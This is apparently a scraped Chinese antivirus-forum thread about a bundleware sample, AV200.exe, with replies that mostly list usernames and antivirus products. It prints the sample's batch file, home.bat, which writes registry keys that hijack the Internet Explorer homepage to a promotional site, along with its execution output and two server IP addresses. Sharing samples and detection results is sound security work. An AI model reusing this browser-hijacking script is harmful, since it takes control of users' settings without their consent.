AV200.exe

Sherry.ai

AV200.exe

深山红叶__

27.221.20.228
27.221.20.232
流氓推广

Program files闪电生成一些东西：
（其一）

首先推广百度杀毒...（百度又一次串枪）
其次是百度卫士...
然后是什么dudu之类乱七八糟的东西

zy960408

红伞MISS

llcy

勇者无敌

XywCloud

bav云杀

vingerlin

BD MISS

蓝天二号

火绒

tony223322

Avast! Blocked URL


home.bat [ Avast! COMODO 360 - > (Safe) ]

[mw_shl_code=javascript,true]set regpath="HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" "HKCU\SOFTWARE\Policies\Microsoft\Internet Explorer\Main" "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main"
set reglist1=Start Page-"http://www.jlbnh.com/?tn=4"
set reglist2=""-reg_expand_sz-"C:\Program Files\Internet Explorer\iexplore.exe http://www.jlbnh.com/?tn=4"
for %%a in (%regpath%) do (
   if %%a=="HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" (
     for /f "delims=- tokens=1-3" %%b in ("%reglist2%") do (reg add %%a /v %%b /t %%c /d %%d /f)
   ) else (
     for /f "delims=- tokens=1-2" %%e in ("%reglist1%") do (reg add %%a /v "%%e" /d %%f /f)
   )
)
pause[/mw_shl_code]

Run - - v

[mw_shl_code=javascript,true]K:\Users\Nelson\Desktop>set regpath="HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B3
0309D}\shell\OpenHomePage\Command" "HKCU\SOFTWARE\Policies\Microsoft\Internet Ex
plorer\Main" "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main"

K:\Users\Nelson\Desktop>set reglist1=Start Page-"http://www.jlbnh.com/?tn=4"

K:\Users\Nelson\Desktop>set reglist2=""-reg_expand_sz-"C:\Program Files\Internet
Explorer\iexplore.exe http://www.jlbnh.com/?tn=4"

K:\Users\Nelson\Desktop>for %a in ("HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30
309D}\shell\OpenHomePage\Command" "HKCU\SOFTWARE\Policies\Microsoft\Internet Exp
lorer\Main" "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main") do (if %a == "HKCR
\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" (for /
F "delims=- tokens=1-3" %b in ("""-reg_expand_sz-"C:\Program Files\Internet Expl
orer\iexplore.exe http://www.jlbnh.com/?tn 4"") do (reg add %a /v %b /t %c /d %d
/f ) )  else (for /F "delims=- tokens=1-2" %e in ("Start Page-"http://www.jlbnh
.com/?tn 4" ") do (reg add %a /v "%e" /d %f /f ) ) )

K:\Users\Nelson\Desktop>(if "HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\s
hell\OpenHomePage\Command" == "HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}
\shell\OpenHomePage\Command" (for /F "delims=- tokens=1-3" %b in ("""-reg_expand
_sz-"C:\Program Files\Internet Explorer\iexplore.exe http://www.jlbnh.com/?tn 4"
") do (reg add "HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHome
Page\Command" /v %b /t %c /d %d /f ) )  else (for /F "delims=- tokens=1-2" %e in
("Start Page-"http://www.jlbnh.com/?tn 4" ") do (reg add "HKCR\CLSID\{871C5380-
42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "%e" /d %f /f ) ) )


K:\Users\Nelson\Desktop>(reg add "HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B3030
9D}\shell\OpenHomePage\Command" /v "" /t reg_expand_sz /d "C:\Program Files\Inte
rnet Explorer\iexplore.exe http://www.jlbnh.com/?tn 4" /f )
ERROR: Access is denied.

K:\Users\Nelson\Desktop>(if "HKCU\SOFTWARE\Policies\Microsoft\Internet Explorer\
Main" == "HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\C
ommand" (for /F "delims=- tokens=1-3" %b in ("""-reg_expand_sz-"C:\Program Files
\Internet Explorer\iexplore.exe http://www.jlbnh.com/?tn 4"") do (reg add "HKCU\
SOFTWARE\Policies\Microsoft\Internet Explorer\Main" /v %b /t %c /d %d /f ) )  el
se (for /F "delims=- tokens=1-2" %e in ("Start Page-"http://www.jlbnh.com/?tn 4"
") do (reg add "HKCU\SOFTWARE\Policies\Microsoft\Internet Explorer\Main" /v "%e
" /d %f /f ) ) )

K:\Users\Nelson\Desktop>(reg add "HKCU\SOFTWARE\Policies\Microsoft\Internet Expl
orer\Main" /v "Start Page" /d "http://www.jlbnh.com/?tn 4"  /f )
The operation completed successfully.

K:\Users\Nelson\Desktop>(if "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main" ==
"HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" (
for /F "delims=- tokens=1-3" %b in ("""-reg_expand_sz-"C:\Program Files\Internet
Explorer\iexplore.exe http://www.jlbnh.com/?tn 4"") do (reg add "HKCU\SOFTWARE\
Microsoft\Internet Explorer\Main" /v %b /t %c /d %d /f ) )  else (for /F "delims
=- tokens=1-2" %e in ("Start Page-"http://www.jlbnh.com/?tn 4" ") do (reg add "H
KCU\SOFTWARE\Microsoft\Internet Explorer\Main" /v "%e" /d %f /f ) ) )

K:\Users\Nelson\Desktop>(reg add "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main
" /v "Start Page" /d "http://www.jlbnh.com/?tn 4"  /f )
The operation completed successfully.

K:\Users\Nelson\Desktop>pause
Press any key to continue . . .[/mw_shl_code]

可惡的bat!

z紫f风l铃

ESET